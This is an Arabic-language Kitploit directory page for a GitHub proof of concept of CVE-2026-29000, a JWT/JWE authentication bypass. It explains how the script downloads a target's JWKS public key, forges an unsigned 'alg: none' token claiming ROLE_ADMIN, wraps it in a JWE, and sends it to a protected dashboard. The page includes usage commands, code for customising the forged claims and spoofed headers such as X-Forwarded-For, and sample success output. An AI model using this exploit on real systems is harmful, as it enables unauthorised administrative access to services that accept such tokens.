Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-29000 — PoC لثغرة CVE-2026-29000 | Kitploit
أدوات/GitHubGitHub/zf-tm/cve-2026-29000
المصادقة والترخيصأدوات التشفير/فك التشفيرتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

PoC لثغرة CVE-2026-29000

عرض المستودع
16منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تجاوز المصادقة عبر JWT/JWE - إثبات المفهوم (PoC)

نص برمجي لإثبات المفهوم (PoC) يوضح ثغرة تجاوز المصادقة باستخدام رموز JSON Web Tokens (JWT) وتشفير JSON Web Encryption (JWE). تستغل هذه الأداة البيئات التي تتحقق بشكل غير صحيح من خوارزميات الرموز بقبولها رموز JWT غير موقّعة (alg: none) داخل بنية JWE صالحة.

كيف يعمل

تستغل سلسلة الاستغلال هذه خللًا شائعًا في التنفيذ التشفيري:

  1. استخراج المفتاح: يتواصل النص البرمجي مع نقطة نهاية jwks (مجموعة مفاتيح الويب JSON) المكشوفة لدى الهدف ويقوم بتنزيل المفتاح العام RSA الخاص بالخادم.
  2. تزوير الرمز: يقوم بإنشاء حمولة JWT مزيفة وغير موقّعة تمنح صلاحيات ROLE_ADMIN. ويضبط ترويسة الخوارزمية عمدًا إلى "alg": "none".
  3. التغليف عبر JWE: لتجاوز مرشحات الأمان الأولية التي قد ترفض الرموز غير المشفرة أو غير الموقّعة، يقوم بتشفير JWT المزيف باستخدام المفتاح العام الخاص بالخادم نفسه، ويغلّفه داخل JWE صالح.
  4. المصادقة: يتم إرسال JWE المزوّر إلى لوحة التحكم المحمية لدى الهدف عبر ترويسة Authorization: Bearer. إذا قام الخادم بفك تشفير JWE ووثق في JWE الداخلي بشكل أعمى دون التحقق من توقيعه، يتم منح الوصول.

المتطلبات الأساسية

قبل تشغيل النص البرمجي، تأكد من تثبيت Python 3 بالإضافة إلى التبعيات اللازمة.

root@kitploit:~
pip install requests jwcrypto

الاستخدام

يتطلب النص البرمجي وسيطين: عنوان URL للوحة التحكم المستهدفة التي تريد اختبارها، وعنوان URL الذي تستضاف فيه المفاتيح العامة.

root@kitploit:~
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

تخصيص الاستغلال

اعتمادًا على هدفك، قد تحتاج إلى تعديل بنية الرمز أو طلبات HTTP لتجاوز مرشحات محددة.

  1. تخصيص ترويسات JWT الداخلية والحمولة

إذا كان الخادم المستهدف يتوقع حقولًا محددة داخل JWT نفسه (مثل ترويسة typ، أو معرّفات مستخدم مخصصة في الحمولة)، يمكنك إضافتها بسهولة.

افتح exploit.py وحدد هذا القسم:

root@kitploit:~
token_header_information = {
    "alg": "none"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

يمكنك إضافة أي حقول تريدها مفصولة بفواصل. على سبيل المثال، لإضافة typ (النوع) وkid (معرّف المفتاح) إلى ترويسة JWT، وبريد إلكتروني مخصص إلى الحمولة:

root@kitploit:~
token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. تخصيص ترويسات HTTP

إذا كان هدفك يتطلب ترويسات شبكة محددة (مثل User-Agent مخصص، أو ترويسات تجاوز مثل X-Forwarded-For، أو مفاتيح API)، حدد موقع طلب الشبكة في أسفل النص البرمجي:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

أضف ترويسات الشبكة الإضافية الخاصة بك مثل هذا:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

ملاحظة: إذا كنت تحتاج أيضًا إلى إرسال هذه الترويسات أثناء تنزيل المفتاح العام الأولي، يمكنك تمرير نفس القاموس إلى استدعاء requests.get() في أعلى النص البرمجي.

المخرجات المتوقعة

عند النجاح، سيقوم النص البرمجي بإخراج الرمز المزوّر والاستجابة المُحلَّلة من نقطة النهاية المقيدة، مما يثبت نجاح التجاوز:

root@kitploit:~
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

استكشاف الأخطاء وإصلاحها

  • أخطاء HTTP 401/403: الخادم المستهدف يتحقق من التوقيعات بشكل صحيح ويرفض حمولة alg: none. فشل الاستغلال لأن الهدف محصّن.

  • أخطاء الاتصال: تأكد من أن عناوين URL المقدمة تتضمن المخطط الكامل (http:// أو https://) وأن الخادم المستهدف يمكن الوصول إليه حاليًا.

  • أخطاء التبعيات: تأكد من تثبيت jwcrypto بشكل صحيح عبر pip.

تنزيل الأداة